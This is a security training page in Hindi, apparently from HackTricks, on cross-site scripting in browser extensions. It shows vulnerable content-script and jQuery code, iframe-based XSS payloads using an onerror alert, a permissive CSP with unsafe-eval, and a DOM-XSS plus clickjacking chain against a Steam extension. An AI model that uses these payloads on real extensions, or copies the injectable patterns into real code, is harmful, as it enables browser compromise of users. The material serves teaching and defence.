105 lines
8.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# BrowExt - XSS उदाहरण
{{#include ../../banners/hacktricks-training.md}}
## Iframe के माध्यम से क्रॉस-साइट स्क्रिप्टिंग (XSS)
इस सेटअप में, एक **सामग्री स्क्रिप्ट** को Iframe को स्थापित करने के लिए लागू किया गया है, जिसमें Iframe के स्रोत के रूप में क्वेरी पैरामीटर के साथ एक URL शामिल है:
```javascript
chrome.storage.local.get("message", (result) => {
let constructedURL =
chrome.runtime.getURL("message.html") +
"?content=" +
encodeURIComponent(result.message) +
"&redirect=https://example.net/details"
frame.src = constructedURL
})
```
एक सार्वजनिक रूप से सुलभ HTML पृष्ठ, **`message.html`**, को URL में पैरामीटर के आधार पर दस्तावेज़ शरीर में सामग्री को गतिशील रूप से जोड़ने के लिए डिज़ाइन किया गया है:
```javascript
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search)
let userContent = urlParams.get("content")
$(document.body).html(
`${userContent} <button id='detailBtn'>Details</button>`
)
$("#detailBtn").on("click", () => {
let destinationURL = urlParams.get("redirect")
chrome.tabs.create({ url: destinationURL })
})
})
```
एक दुर्भावनापूर्ण स्क्रिप्ट एक प्रतिकूल के पृष्ठ पर निष्पादित होती है, जो Iframe के स्रोत के `content` पैरामीटर को संशोधित करती है ताकि एक **XSS पेलोड** पेश किया जा सके। यह Iframe के स्रोत को एक हानिकारक स्क्रिप्ट शामिल करने के लिए अपडेट करके प्राप्त किया जाता है:
```javascript
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src
let baseURL = targetFrame.split("?")[0]
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>"
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`
document.querySelector("iframe").src = maliciousURL
}, 1000)
```
एक अत्यधिक अनुमति देने वाली सामग्री सुरक्षा नीति जैसे:
```json
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
```
JavaScript के निष्पादन की अनुमति देता है, जिससे सिस्टम XSS हमलों के प्रति संवेदनशील हो जाता है।
XSS को उत्तेजित करने के लिए एक वैकल्पिक दृष्टिकोण Iframe तत्व बनाना और इसके स्रोत को हानिकारक स्क्रिप्ट को `content` पैरामीटर के रूप में शामिल करना है:
```javascript
let newFrame = document.createElement("iframe")
newFrame.src =
"chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>")
document.body.append(newFrame)
```
## DOM-आधारित XSS + ClickJacking
यह उदाहरण [मूल पोस्ट लेख](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/) से लिया गया था।
मुख्य समस्या **`/html/bookmarks.html`** में स्थित एक DOM-आधारित क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यता से उत्पन्न होती है। समस्या वाला JavaScript, जो **`bookmarks.js`** का हिस्सा है, नीचे विस्तृत किया गया है:
```javascript
$("#btAdd").on("click", function () {
var bookmarkName = $("#txtName").val()
if (
$(".custom-button .label").filter(function () {
return $(this).text() === bookmarkName
}).length
)
return false
var bookmarkItem = $('<div class="custom-button">')
bookmarkItem.html('<span class="label">' + bookmarkName + "</span>")
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>')
bookmarkItem.attr("data-title", bookmarkName)
bookmarkItem.data("timestamp", new Date().getTime())
$("section.bookmark-container .existing-items").append(bookmarkItem)
persistData()
})
```
यह स्निपेट **`txtName`** इनपुट फ़ील्ड से **मान** प्राप्त करता है और **HTML उत्पन्न करने के लिए स्ट्रिंग संयोजन का उपयोग करता है**, जिसे फिर jQuery के `.append()` फ़ंक्शन का उपयोग करके DOM में जोड़ा जाता है।
आमतौर पर, Chrome एक्सटेंशन की सामग्री सुरक्षा नीति (CSP) ऐसी कमजोरियों को रोकती है। हालाँकि, **unsafe-eval के साथ CSP में ढील** और jQuery के DOM हेरफेर विधियों का उपयोग (जो [`globalEval()`](https://api.jquery.com/jquery.globaleval/) का उपयोग करके स्क्रिप्ट को [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) में पास करते हैं जब DOM में डाला जाता है) के कारण, शोषण अभी भी संभव है।
हालांकि यह कमजोरी महत्वपूर्ण है, इसका शोषण आमतौर पर उपयोगकर्ता इंटरैक्शन पर निर्भर करता है: पृष्ठ पर जाना, XSS पेलोड दर्ज करना, और “Add” बटन को सक्रिय करना।
इस कमजोरी को बढ़ाने के लिए, एक द्वितीयक **क्लिकजैकिंग** कमजोरी का शोषण किया जाता है। Chrome एक्सटेंशन का मैनिफेस्ट एक विस्तृत `web_accessible_resources` नीति को प्रदर्शित करता है:
```json
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
```
विशेष रूप से, **`/html/bookmarks.html`** पृष्ठ फ्रेमिंग के प्रति संवेदनशील है, इस प्रकार **clickjacking** के लिए कमजोर है। इस कमजोरी का उपयोग पृष्ठ को हमलावर की साइट के भीतर फ्रेम करने के लिए किया जाता है, इसे DOM तत्वों के साथ ओवरले करके इंटरफेस को धोखे से redesign किया जाता है। यह हेरफेर पीड़ितों को अनजाने में अंतर्निहित एक्सटेंशन के साथ इंटरैक्ट करने के लिए प्रेरित करता है।
## संदर्भ
- [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
- [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
{{#include ../../banners/hacktricks-training.md}}